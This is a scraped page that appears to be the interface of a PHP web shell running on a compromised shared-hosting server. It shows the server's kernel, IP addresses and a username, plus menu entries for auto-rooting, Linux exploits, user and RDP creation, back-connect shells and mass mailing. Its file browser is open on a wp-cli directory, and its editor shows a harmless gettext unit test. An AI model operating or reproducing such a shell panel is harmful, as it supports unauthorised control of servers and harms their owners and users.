Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
wp-cli /
i18n-command /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
IterableCodeExtractorTest.php
11.57
KB
-rw-r--r--
MakeJsonMapTest.php
4.21
KB
-rw-r--r--
PotGeneratorTest.php
715
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PotGeneratorTest.php
<?php namespace WP_CLI\I18n\Tests; use Gettext\Translation; use WP_CLI\I18n\PotGenerator; use Gettext\Translations; use WP_CLI\Tests\TestCase; class PotGeneratorTest extends TestCase { public function test_adds_correct_amount_of_plural_strings() { $translations = new Translations(); $translation = new Translation( '', '%d cat', '%d cats' ); $translations[] = $translation; $result = PotGenerator::toString( $translations ); $this->assertStringContainsString( 'msgid "%d cat"', $result ); $this->assertStringContainsString( 'msgid_plural "%d cats"', $result ); $this->assertStringContainsString( 'msgstr[0] ""', $result ); $this->assertStringContainsString( 'msgstr[1] ""', $result ); } }
Close